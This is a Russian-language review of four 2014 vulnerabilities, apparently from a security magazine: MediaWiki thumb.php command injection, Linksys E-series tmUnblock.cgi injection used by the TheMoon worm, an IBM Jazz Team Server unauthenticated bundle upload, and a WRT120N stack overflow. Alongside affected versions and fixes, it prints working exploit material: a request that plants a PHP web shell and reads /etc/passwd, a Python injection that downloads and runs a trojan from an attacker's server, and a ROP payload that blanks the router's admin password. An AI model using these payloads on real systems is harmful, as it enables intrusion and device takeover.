Этот месяц запомнился сразу несколькими вкусностями: удаленным выполнением кода в MediaWiki — движке, который используется в громадном количестве проектов, в том числе Википедии, и парой простых, но эффективных багов в роутерах Linksys (один из них даже послужил основой для червя TheMoon!). Но обо всем по порядку.

 

Удаленное выполнение кода в MediaWiki

CVSSv2 6.0 (AV:R/AC:M/Au:S/C:P/I:P/A:P)
Дата релиза: 28 января 2014 года
Автор: Netanel Rubin
CVE: 2014-1610

Начнем с гвоздя программы — уязвимости в популярном движке MediaWiki, дающей возможность выполнить произвольный набор команд на сервере. Как уже было замечено выше, данная уязвимость позволяла загрузить атакующему любой код не только на любой сайт с этой CMS, но и на любую страницу самой Википедии до обновления! Уязвимость находится в файле thumb.php, отвечающем за масштабирование изображений при их запросе браузером.

Полученный GET-запрос обрабатывается следующей функцией:

<?php
...
wfThumbHandleRequest();

При анализе этой функции видим, что GET-запрос в некоторых случаях проходит без фильтрации:

function wfThumbHandleRequest() {
    $params = get_magic_quotes_gpc() ? array_map( 'stripslashes', $_GET ) : $_GET;
    // Данные миниатюры
    wfStreamThumb( $params );
}

Идем дальше по коду:

function wfStreamThumb( array $params ) {
...
// Сюда помещается загруженный PDF-файл
$fileName = isset( $params['f'] ) ? $params['f'] : '';
...
// Обратно совместимые параметры
if ( isset( $params['w'] ) ) {
    // Здесь мы и передаем нашу команду
    $params['width'] = $params['w'];
    unset( $params['w'] );
}
...
$img = wfLocalFile( $fileName );
...
// Если миниатюра не найдена, то создаем новую и масштабируем по высоте и ширине
$thumb = $img->transform( $params, File::RENDER_NOW );
...
// Если не было ошибок, то передаем файл
$thumb->streamFile( $headers );

Теперь рассмотрим скрипт, отвечающий за обработку файлов/includes/filerepo/file/File.php

<? ...
function transform( $params, $flags = 0 ) { ...
    // Обработчик PDF
    $handler = $this->getHandler();
    ...
    $normalisedParams = $params;
    $handler->normaliseParams( $this, $normalisedParams );
    ...
    $thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );

Далее скрипт обработки PDF-файлов /extensions/PdfHandler/PdfHandler_body.php:

<? ...
function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {
...
    $width = $params['width'];
...
    // Создается команда с параметрами для выполнения в шелле
    $cmd = '(' . wfEscapeShellArg( $wgPdfProcessor );
    $cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page} -dLastPage={$page}";
    $cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg($srcPath );
    $cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor ); 
    // Вот и наша долгожданная ошибка. Переданный параметр от пользователя не проходит ни одну из защитных обработок 
    $cmd .= " -depth 8 -resize {$width} - ";
    $cmd .= wfEscapeShellArg( $dstPath ) . ")";
    $cmd .= " 2>&1";
    ...
    $err = wfShellExec( $cmd, $retval );

Ну и наконец, файл, который отвечает за выполнение команд/includes/GlobalFunctions.php. Выполнение команды с ограничением по времени и памяти:

<? ...
function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits = array() ) {
...
// Выполняем команду!
passthru( $cmd, $retval );

EXPLOIT

Ниже представлен процесс эксплуатации уязвимости:

  1. Загружаем PDF-файл на сайт с установленной MediaWiki и включенной возможностью загрузки PDF-файлов по следующему адресу:http://vulnerable-site/index.php/Special:Upload
  2. Создаем небольшой PHP-файл с функцией выполнения системных команд:http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|echo%20"<?php%20system(\\$_GET[1]);">images/abc.php
  3. Проверяем работу созданного шелла, прочитав файл с паролями пользователей на сервере:http://vulnerable-site/images/abc.php?1=cat%20/etc/passwd
Выполнение команд в шелле в MediaWiki
Выполнение команд
в шелле в MediaWiki

Помимо обычного эксплойта, также есть готовый Metasploit-модуль.

TARGETS

MediaWiki 1.22.x–1.22.1;
MediaWiki 1.21.x–1.21.4;
MediaWiki 1.8–1.19.10.

SOLUTION

Есть исправление от производителя. Также можно запретить загрузку всех файлов (или только с расширением pdf) в файле с настройками LocalSettings.php

 

Удаленное выполнение произвольного кода в роутерах Linksys E-серии

CVSSv2 N/A
Дата релиза: 13 февраля 2014 года
Автор: Unknown, Rew, Johannes Ullrich
CVE: N/A

Данная уязвимость была обнаружена после анализа червя по имени TheMoon. Название он получил из-за изображений из фильма The Moon, которые хранились в бинарнике. Но вернемся к багам.

Многочисленные роутеры фирмы Linksys Е-серии содержат ошибку в скрипте tmUnblock.cgi(в некоторых случаях и в hndUnblock.cgi), которая происходит из-за недостаточно тщательной обработки входящего параметра ttcp_ip POST-запроса, что позволяет выполнить произвольную команду на устройстве.

EXPLOIT

В открытый доступ выложено несколько эксплойтов:

Разберем Python-версию. Ничего сложного в эксплуатации нет. В качестве атакующей команды берем загрузку исполняемого файла с доступного сервера, адрес которого указываем в переменной wget_url:

cmd = "wget %s -O /tmp/.trojan;chmod 777 /tmp/.trojan;/tmp/.trojan" %(wget_url)

Далее составляем запрос, куда мы и впишем нашу команду:

# Здесь указываем адрес или в 99% случаев IP типа 192.168.1.1
url = target + "/tmUnblock.cgi"

# Уязвимый параметр имеет особую структуру, которую нам надо учесть
injection = "-h `%s`" %(command)
the_ownage = {'submit_button': '',
              'change_action': '',
              'action': '',
              'commit': '0',
              'ttcp_num': '2',
              'ttcp_size': '2',
              # Уязвимый параметр
              'ttcp_ip': injection,
              'StartEPI': '1'}

Вот и весь запрос.

TARGETS

  • Linksys E4200;
  • Linksys E3200;
  • Linksys E3000;
  • Linksys E2500;
  • Linksys E2100L;
  • Linksys E2000;
  • Linksys E1550;
  • Linksys E1500;
  • Linksys E1200;
  • Linksys E1000;
  • Linksys E900;
  • Linksys E300;
  • Linksys WAG320N;
  • Linksys WAP300N;
  • Linksys WAP610N;
  • Linksys WES610N;
  • Linksys WET610N;
  • Linksys WRT610N;
  • Linksys WRT600N;
  • Linksys WRT400N;
  • Linksys WRT320N;
  • Linksys WRT160N;
  • Linksys WRT150N.

Номера моделей были вытащены из червя, поэтому не исключено, что уязвимость работает и на других моделях.

SOLUTION

На момент написания статьи о патче не было известно. Но можно использовать сторонние прошивки от энтузиастов.

 

Удаленное выполнение кода в IBM Jazz Team Server

CVSSv2 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Дата релиза: 3 марта 2014 года
Автор: Insomnia Security
CVE: 2014-0862

Один из компонентов IBM Jazz Team Server / Rational, который также доступен в Rational Focal Point и Rational CLM, подвержен атаке, которая позволяет злоумышленнику удаленно выполнить произвольный код. Уязвимы системы, включающие компонент, поддерживающий OSGi-контейнер, — к нему можно получить доступ без аутентификации через веб-сервер.

Атакующий, у которого будет доступ хотя бы на уровне HTTP-запросов к серверу с запущенным Rational Focal Point или Rational Requirements Manager, может исполнить произвольный Java-код на сервере с теми же правами, что и сама Java. Уязвимый компонент также используется в других различных программных решениях, описанных в официальномдокументе от IBM.

EXPLOIT

Архитектура, содержащая уязвимый компонент, реализует часть административных возможностей для комплекта Rational. Этот набор представляет собой несколько веб-доступных servlet endpoints, до одного из которых (com.ibm.team.repository.provision.internal.InstallServlet) можно добраться через HTTP по следующему пути:

<context-path>/install (например, http://server/jazzui/install для Focal Point, http://server/rm/install для Rational Requirements Manager)

Этот сервлет отвечает за подтверждение загрузки OSGi-набора и развертывание его внутри Equinox OSGi контейнера запущенного приложения.

OSGi-наборы содержат произвольный Java-код. Эта особенность открывает замечательные возможности для атакующего, нужно лишь создать правильный интерфейс (OSGiorg.osgi.framework.BundleActivator), предоставить соответствующие метаданные и загрузить их через HTTP POST запрос. В итоге мы сможем выполнить произвольный код на сервере с запущенным уязвимым продуктом!

Компонент com.ibm.team.repository.provision.Activator (весь представленный код декомпилировался из файлаcom.ibm.team.repository.provision_1.2.200.v20121101_2349.jar) выполняет набор операций Activator, который регистрирует Servlet endpoints.

Регистрирование сервлетов в `com.ibm.team.repository.provision.Activator`
Регистрирование сервлетов в `com.ibm.team.repository.provision.Activator`

Сервлет com.ibm.team.repository.provision.internal.InstallServlet предоставляет сервис для методов по обработке HTTP-запросов с данными из нескольких частей, которые ведут к загрузке файлов в другие методы без аутентификации.

Сервис по обработке HTTP-запросов
Сервис по обработке HTTP-запросов

Функция uploadUpdateSite() обрабатывает полученные ZIP-файлы: разархивирует их и, если метаданные правильные для данного OSGi-набора, устанавливает и запускает код.

Обработка полученных ZIP-файлов
Обработка полученных ZIP-файлов

Все это приводит к установке атакующего кода внутри приложения. Через некоторое время он перезапускает сервисы и перезагружает систему, причем без попытки проверить методы, описанные внутри компонента.

Автор уязвимости пока не выложил в открытый доступ сам эксплойт, доступен лишь скриншот его работы.

Пример работы эксплойта для уязвимости в IBM Jazz Team Server
Пример работы эксплойта для уязвимости в IBM Jazz Team Server

Эксплойт протестирован на Rational Focal Point в Apache Tomcat container под Linux (но он также успешно работает для Rational Requirements Manager и Focal Point на WebSphere). Выполнение команд производится с помощью

java.lang.Runtime.getRuntime().exec()

А сами команды отсылаются по HTTP-протоколу.

TARGETS

IBM Rational Collaborative Lifecycle Management 3.0.0–4.0.5.

SOLUTION

Есть исправление от производителя. Также можно сделать фильтр с регулярным выражением^POST /.*/install.* для детектирования HTTP-запросов от других возможных эксплойтов для InstallServlet, ProvisionRestServlet и других компонентов.

 

Переполнение стека fprintf в WRT120N

CVSSv2 N/A
Дата релиза: 19 февраля 2014 года
Автор: Craig
CVE: N/A

Ну и закончим наш обзор еще одной уязвимостью в роутерах Linksys. В модели WRT120N применена операционная система реального времени. Также весь веб-интерфейс в целях безопасности использует HTTP-авторизацию. Большинство страниц ее и требует, но есть небольшой список, который доступен без авторизации. Его можно найти, загрузив бинарный файл прошивки в дизассемблер (см. скриншоты).

Загружаем файл со списком доступных файлов в WRT120N
Загружаем файл со списком доступных файлов в WRT120N
Полный список доступных файлов в WRT120N
Полный список доступных файлов в WRT120N

Как пишет автор уязвимости, часть файлов в этом списке не представляла ничего впечатляющего. Тем не менее был найден интересный файл /cgi/tmUnBlock.cgi, в котором обрабатывались данные от пользователя (код обработки представлен на скриншоте).

Код обработки в скрипте tmUnBlock.cgi
Код обработки в скрипте tmUnBlock.cgi

Нас интересует строка

fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));

Хоть уязвимым параметром и является POST-переменная TM_Block_URL, но ошибка находится в реализации функции fprintf. И если ты посмотришь на ее код, то очень удивишься :).

Реализация функции fprintf
Реализация функции fprintf

Эта функция использует только 256 байт. Это означает, что полученный от пользователя параметр TMBLOCKURL переполнит буфер, если его размер будет больше, чем 246 (sizeof(buf) – strlen(“Location: “)) байт.

Отправим тестовый запрос и посмотрим значения регистров на скриншоте:

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
Значения регистров после переполнения буфера в WRT120N
Значения регистров после переполнения буфера в WRT120N

От самого простого эксплойта требуется переписать часть важных данных в памяти, например пароль администратора устройства, который хранится по адресу 0x81544AF0.

Адрес, по которому находится пароль администратора устройства WRT120N
Адрес, по которому находится пароль администратора устройства WRT120N

Пароль представлен как обычная строка, оканчивающаяся NULL-байтом, поэтому если мы запишем нулевой байт в начало этого адреса, то сможем авторизоваться на устройстве с пустым паролем. Нужно лишь сделать так, чтобы после всех наших действий система продолжила работать :).

Рассмотрим конец функции fprintf. Оба регистра $ra и $s0 восстанавливаются из стека — это означает, что мы можем их контролировать, когда переполним стек.

Конец функции fprintf
Конец функции fprintf

Далее был найден интересный участок кода по адресу 0x8031F634, что сохраняет четыре нулевых байта из регистра $zero в адрес, который хранится в регистре $s0:

Первая ROP-цепочка для эксплойта в WRT120N
Первая ROP-цепочка для эксплойта в WRT120N

Если мы используем переполнения fpritnf, чтобы вернуться к 0x8031F634 и переписать $s0 с адресом пароля администратора (0x81544AF0), тогда алгоритм работы кода получится таким:

  • обнуляем пароль администратора;
  • возвращаем адрес возврата, сохраненный в стеке (мы контролируем стек);
  • добавляем 16 в указатель стека.

Последний пункт и вызывает проблему. Нам нужно, чтобы система продолжила работать нормально и не «упала», но если мы просто вернемся к функции cgi_tmUnBlock, как ожидают от fprintf, то наш указатель стека будет отличаться на 16 байт. Но поиск подходящей ROP-цепочки, которая уменьшит указатель на стека на 16 байт, мог бы затянуться, поэтому было предложено иное решение.

Если присмотреться к адресу в cgi_tmUnblock, куда fprintf должна вернуться, ты сможешь увидеть, что все делается для восстановления $ra, $s1 и $s0 из стека, затем возвращается, и к указателю стека добавляется 0x60:

Конец функции cgi_tmUnblock
Конец функции cgi_tmUnblock

Мы уже добавили 0x10 к указателю стека, поэтому можем найти вторую ROP-цепочку для восстановления соответствующих сохраненных значений для $ra, $s1 и $s0 из стека и добавить 0x50 к указателю стека, то есть такую, которая эффективно заменит концовку функции cgi_tmUnblock.

Был найден не совсем точно подходящий под наши нужды участок кода по адресу 0x803471B8.

Вторая ROP-цепочка для эксплойта в WRT120N
Вторая ROP-цепочка для эксплойта в WRT120N

Эта цепочка добавляет только 0x10 к указателю стека, но это не проблема. Мы создаем несколько дополнительных кадров стека, который возвращается на себя пять раз. На пятой итерации оригинальные значения нужных регистров будут закинуты в стек и наша ROP-цепочка вернется к вызову из cgi_tmUnblock.

На сайте автора есть небольшой GIF-ролик, в котором он нарисовал весь процесс переполнения буфера, описанный выше.

EXPLOIT

В качестве эксплойта опять будем использовать Python-скрип, который отправит POST-запрос со следующим содержимым:

url = target + '/cgi-bin/tmUnblock.cgi' # Путь к атакуемому устройству
...
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
# Заполняем
post_data += "B" * 246  
# $s0, адрес пароля админа в памяти
post_data += "\x81\x54\x4A\xF0"
# $ra
post_data += "\x80\x31\xF6\x34"
# Заполняем стек
post_data += "C" * 0x28
# ROP 1 $s0
post_data += "D" * 4
# ROP 1 $ra (адрес для ROP 2)
post_data += "\x80\x34\x71\xB8"
# Заполняем стек
post_data += "E" * 8
for i in range(0, 4):
    # ROP 2 $s0 
    post_data += "F" * 4
    # ROP 2 $s1
    post_data += "G" * 4
    # ROP 2 $ra (адрес "себя")
    post_data += "\x80\x34\x71\xB8"
    # Заполняем стек. Нужно 4 байта для последнего кадра, чтобы замкнуть запрос символами "\n\n" и нулевым байтом
    post_data += "H" * (4-(3*(i/3)))

Исходник эксплойта ты также сможешь найти на сайте автора по указанной ссылке.

TARGETS

WRT120N.

SOLUTION

На момент написания статьи о патче не было известно.

1 комментарий

  1. 24.04.2015 at 01:40

Оставить мнение

Check Also

Мошенничество по воздуху. Разбираем возможность Cryptogram Replay Attack в Apple Pay

Задача платежной системы — списать нужную сумму в пользу продавца со счета верное число ра…